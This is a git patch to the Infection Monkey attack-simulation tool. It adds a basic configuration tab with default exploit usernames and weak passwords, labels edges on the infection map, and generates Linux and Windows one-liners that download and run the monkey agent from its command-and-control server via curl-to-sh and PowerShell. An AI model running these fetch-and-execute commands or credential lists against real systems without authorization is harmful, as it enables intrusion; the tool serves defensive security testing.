From 41cc0202c5534aef76662772f62ad5b6e2f387ca Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Mon, 18 Sep 2017 15:35:45 +0300
Subject: [PATCH] Add basic config tab Add actual snippets for windows+linux
32/64 Add support for edges info in graph
---
monkey_island/cc/services/config.py | 104 ++++++++++--------
monkey_island/cc/services/edge.py | 39 +++++--
monkey_island/cc/services/node.py | 1 -
.../cc/ui/src/components/pages/MapPage.js | 9 +-
.../ui/src/components/pages/RunMonkeyPage.js | 53 +++++++--
.../components/preview-pane/PreviewPane.js | 68 ++++++++++--
6 files changed, 191 insertions(+), 83 deletions(-)
diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py
index 08eb0e329..cc203ba9f 100644
--- a/monkey_island/cc/services/config.py
+++ b/monkey_island/cc/services/config.py
@@ -97,6 +97,64 @@ SCHEMA = {
}
},
"properties": {
+ "basic": {
+ "title": "Basic",
+ "type": "object",
+ "properties": {
+ "network": {
+ "title": "Network",
+ "type": "object",
+ "properties": {
+ "blocked_ips": {
+ "title": "Blocked IPs",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "type": "string"
+ },
+ "default": [
+ ],
+ "description": "List of IPs to not scan"
+ }
+ }
+ },
+ "credentials": {
+ "title": "Credentials",
+ "type": "object",
+ "properties": {
+ "exploit_user_list": {
+ "title": "Exploit user list",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "type": "string"
+ },
+ "default": [
+ "Administrator",
+ "root",
+ "user"
+ ],
+ "description": "List of usernames to use on exploits using credentials"
+ },
+ "exploit_password_list": {
+ "title": "Exploit password list",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "type": "string"
+ },
+ "default": [
+ "Password1!",
+ "1234",
+ "password",
+ "12345678"
+ ],
+ "description": "List of password to use on exploits using credentials"
+ }
+ }
+ }
+ }
+ },
"monkey": {
"title": "Monkey",
"type": "object",
@@ -393,41 +451,6 @@ SCHEMA = {
}
}
},
- "credentials": {
- "title": "Credentials",
- "type": "object",
- "properties": {
- "exploit_user_list": {
- "title": "Exploit user list",
- "type": "array",
- "uniqueItems": True,
- "items": {
- "type": "string"
- },
- "default": [
- "Administrator",
- "root",
- "user"
- ],
- "description": "List of usernames to use on exploits using credentials"
- },
- "exploit_password_list": {
- "title": "Exploit password list",
- "type": "array",
- "uniqueItems": True,
- "items": {
- "type": "string"
- },
- "default": [
- "Password1!",
- "1234",
- "password",
- "12345678"
- ],
- "description": "List of password to use on exploits using credentials"
- }
- }
- },
"ms08_067": {
"title": "MS08_067",
"type": "object",
@@ -605,17 +628,6 @@ SCHEMA = {
"title": "General",
"type": "object",
"properties": {
- "blocked_ips": {
- "title": "Blocked IPs",
- "type": "array",
- "uniqueItems": True,
- "items": {
- "type": "string"
- },
- "default": [
- ],
- "description": "List of IPs to not scan"
- },
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",
diff --git a/monkey_island/cc/services/edge.py b/monkey_island/cc/services/edge.py
index 320c197fc..9cfd440d8 100644
--- a/monkey_island/cc/services/edge.py
+++ b/monkey_island/cc/services/edge.py
@@ -55,16 +55,13 @@ class EdgeService:
exploit_container["result"] = True
exploit_container["end_timestamp"] = new_exploit["timestamp"]
- return \
- {
- "id": edge["_id"],
- "from": edge["from"],
- "to": edge["to"],
- "ip_address": edge["ip_address"],
- "services": services,
- "os": os,
- "exploits": exploits
- }
+ displayed_edge = EdgeService.edge_to_net_edge(edge)
+ displayed_edge["ip_address"] = edge["ip_address"]
+ displayed_edge["services"] = services
+ displayed_edge["os"] = os
+ displayed_edge["exploits"] = exploits
+ displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge)
+ return displayed_edge
@staticmethod
def exploit_to_displayed_exploit(exploit):
@@ -113,13 +110,15 @@ class EdgeService:
@staticmethod
def generate_pseudo_edge(edge_id, edge_from, edge_to):
- return \
+ edge = \
{
"id": edge_id,
"from": edge_from,
"to": edge_to,
"group": "island"
}
+ edge["_label"] = EdgeService.get_edge_label(edge)
+ return edge
@staticmethod
def get_monkey_island_pseudo_edges():
@@ -184,6 +183,22 @@ class EdgeService:
{"_id": edge["_id"]},
{"$set": {"exploited": True}}
)
-
cc.services.node.NodeService.set_node_exploited(edge["to"])
+ @staticmethod
+ def get_edge_label(edge):
+ NodeService = cc.services.node.NodeService
+ from_label = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
+ to_id = NodeService.get_monkey_by_id(edge["to"])
+ if to_id is None:
+ to_label = NodeService.get_node_label(NodeService.get_node_by_id(edge["to"]))
+ else:
+ to_label = NodeService.get_monkey_label(to_id)
+
+ RIGHT_ARROW = unichr(8594)
+ return "%s %s %s" % (
+ from_label,
+ RIGHT_ARROW,
+ to_label)
+
+
diff --git a/monkey_island/cc/services/node.py b/monkey_island/cc/services/node.py
index c196546ca..720bd06db 100644
--- a/monkey_island/cc/services/node.py
+++ b/monkey_island/cc/services/node.py
@@ -85,7 +85,6 @@ class NodeService:
return True
-
@staticmethod
def get_monkey_label(monkey):
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js
index 8b2636e22..4606af898 100644
--- a/monkey_island/cc/ui/src/components/pages/MapPage.js
+++ b/monkey_island/cc/ui/src/components/pages/MapPage.js
@@ -93,13 +93,12 @@ class MapPageComponent extends React.Component {
.then(res => this.setState({selected: res, selectedType: 'node'}));
}
else if (event.edges.length === 1) {
- let edgeGroup = this.state.graph.edges.filter(
+ let displayedEdge = this.state.graph.edges.find(
function(edge) {
return edge['id'] === event.edges[0];
- })[0]['group'];
- if (edgeGroup == 'island') {
- console.log('selection cleared.'); // eslint-disable-line no-console
- this.setState({selected: null, selectedType: null});
+ });
+ if (displayedEdge['group'] == 'island') {
+ this.setState({selected: displayedEdge, selectedType: 'island_edge'});
} else {
fetch('/api/netmap/edge?id='+event.edges[0])
.then(res => res.json())
diff --git a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
index eae417d60..f125ddff1 100644
--- a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
+++ b/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
@@ -30,8 +30,16 @@ class RunMonkeyPageComponent extends React.Component {
this.props.onStatusChange();
}
- generateCmd(ip) {
- return `curl http://${ip}:5000/get-monkey | sh`;
+ generateLinuxCmd(ip, is32Bit) {
+ let bitText = is32Bit ? '32' : '64';
+ return `curl http://${ip}:5000/api/monkey/download/monkey-linux-${bitText} | sh`;
+ }
+
+ generateWindowsCmd(ip, is32Bit) {
+ let bitText = is32Bit ? '32' : '64';
+ return `
+ PowerShell (New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe','monkey.exe');
+ Start-Process -FilePath 'monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`;
}
runLocalMonkey = () => {
@@ -50,6 +58,27 @@ class RunMonkeyPageComponent extends React.Component {
});
};
+ generateCmdDiv(ip, isLinux, is32Bit) {
+ let cmdText = "";
+ if (isLinux) {
+ cmdText = this.generateLinuxCmd(ip, is32Bit);
+ } else {
+ cmdText = this.generateWindowsCmd(ip, is32Bit);
+ }
+ return (
+
+
+
+
+
+
+
+ {cmdText}
+
+
+ )
+ }
+
render() {
return (
@@ -83,18 +112,18 @@ class RunMonkeyPageComponent extends React.Component {
(The IP address is used as the monkey's C&C address)
-
+
{this.state.ips.map(ip =>
-
-
-
-
-
-
- {this.generateCmd(ip)}
-
+
+ [
+ this.generateCmdDiv(ip, true, true),
+ this.generateCmdDiv(ip, true, false),
+ this.generateCmdDiv(ip, false, true),
+ this.generateCmdDiv(ip, false, false)
+ ]
+
)}
-
+
Go ahead and monitor the ongoing infection in the Infection Map view.
diff --git a/monkey_island/cc/ui/src/components/preview-pane/PreviewPane.js b/monkey_island/cc/ui/src/components/preview-pane/PreviewPane.js
index 2f49f6257..e8711dba4 100644
--- a/monkey_island/cc/ui/src/components/preview-pane/PreviewPane.js
+++ b/monkey_island/cc/ui/src/components/preview-pane/PreviewPane.js
@@ -30,6 +30,8 @@ class PreviewPaneComponent extends React.Component {
}
infectedAssetInfo(asset) {
+ // TODO: Have exploit info expandable (show detailed attempts)
+ // TODO: consider showing scans with exploits on same timeline
return (
{this.assetInfo(asset)}
@@ -50,17 +52,54 @@ class PreviewPaneComponent extends React.Component {
}
infectionInfo(edge) {
- return (
-
-
-
- );
+ return this.scanInfo(edge);
}
scanInfo(edge) {
return (
+
+
+
+ Operating System
+ {edge.os.type}
+
+
+ IP Address
+ {edge.ip_address}
+
+
+ Services
+ {edge.services.map(val => {val}
)}
+
+
+
+
Timeline
+
+
+ );
+ }
+ islandEdgeInfo() {
+ return (
+
+
+
+
+ Communicates directly with island
+ True
+
+
+
);
}
@@ -71,13 +110,28 @@ class PreviewPaneComponent extends React.Component {
case 'edge':
info = this.props.item.exploits.length ?
this.infectionInfo(this.props.item) : this.scanInfo(this.props.item);
+ break;
case 'node':
info = this.props.item.exploits.some(exploit => exploit.result) ?
this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
+ break;
+ case 'island_edge':
+ info = this.islandEdgeInfo();
+ break;
}
+
+ let label = '';
+ if (!this.props.item) {
+ label = '';
+ } else if (this.props.item.hasOwnProperty('label')) {
+ label = this.props.item['label'];
+ } else if (this.props.item.hasOwnProperty('_label')) {
+ label = this.props.item['_label'];
+ }
+
return (
- { !this.props.item ?
+ { !info ?
Select an item on the map for a preview
@@ -85,7 +139,7 @@ class PreviewPaneComponent extends React.Component {
:
- {this.props.item.label}
+ {label}